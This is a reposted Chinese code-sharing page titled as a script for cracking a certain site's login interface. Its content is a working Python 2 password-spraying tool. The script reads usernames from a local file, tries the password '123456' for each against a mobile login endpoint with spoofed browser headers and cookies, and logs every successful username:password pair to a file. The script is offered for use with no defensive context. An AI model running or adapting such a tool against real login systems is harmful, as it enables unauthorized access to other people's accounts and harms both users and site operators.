码迷,mamicode.com
首页 > 其他好文 > 详细

某站点登录接口破解脚本

时间:2014-12-20 19:40:16      阅读:177      评论:0      收藏:0      [点我收藏+]

标签:

#coding:utf-8,
import sys,urllib,urllib2,cookielib,time;

url1 = "http://www.xxx.com/mobile/xxx-login.html";
url2 = "http://www.xxx.com/mobile/xxx-post_login.html";

def s_request(url,data,step):
    req = urllib2.Request(url);    #构造要发送的request内容
    if(data != None):
        req.add_data(data);
    req.add_header("Proxy-Connection","keep-alive");
    req.add_header("Accept-Language","zh-CN,zh;q=0.8,en;q=0.6");
    req.add_header("User-Agent","Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.131 Safari/537.36");
    if(step == 1):
        req.add_header("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8");
        req.add_header("Cookie","vary=ad6b4f8d4c39539fa40661c653cd4a4f6b65742dbf71bbea39c0f33572385dc0; Hm_lvt_4f2975be01c8951042db4fd8dd38717b=1399626611,1399700907,1399774576");
    else:
        req.add_header("Accept","application/json");
        req.add_header("Referer","http://www.xxx.com/mobile/xxx-login.html");
        req.add_header("Content-Type","application/x-www-form-urlencoded");
        req.add_header("X-Requested-With","XMLHttpRequest");
    resp = urllib2.urlopen(req); #发送request,返回文件描述符
    str  = resp.read();
    # print str;
    if(str.find("success")!=-1): #存在success表示登录成功
        return 1
    else:
        return 0;

#自动带上cookie       
cj = cookielib.CookieJar();
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj));
urllib2.install_opener(opener)

u = open("D:\\uid\\uname.txt","r");
l = open("D:\\uid\\record.txt","a");
s_request(url1,None,1); #通过url1获取cookie

while 1:
    user = u.readline();
    if(len(user) == 0):
        break;
    user = user.replace(‘\n‘,‘‘);
    print user;
    data = {"returnUrl":"http%3A%2F%2Fwww.xxx.com%2Findex.php","password":"123456","uname":user,}; 
    data = urllib.urlencode(data);
    if(s_request(url2,data,2) == 1): #尝试登录
        l.write(user+":"+"123456"+"\n"); #将用户名和密码记录到文件
        l.flush();
        s_request(url1,None,1); #重新获取cookie
u.close();
l.close();

某站点登录接口破解脚本

标签:

原文地址:http://www.cnblogs.com/fishou/p/4175762.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!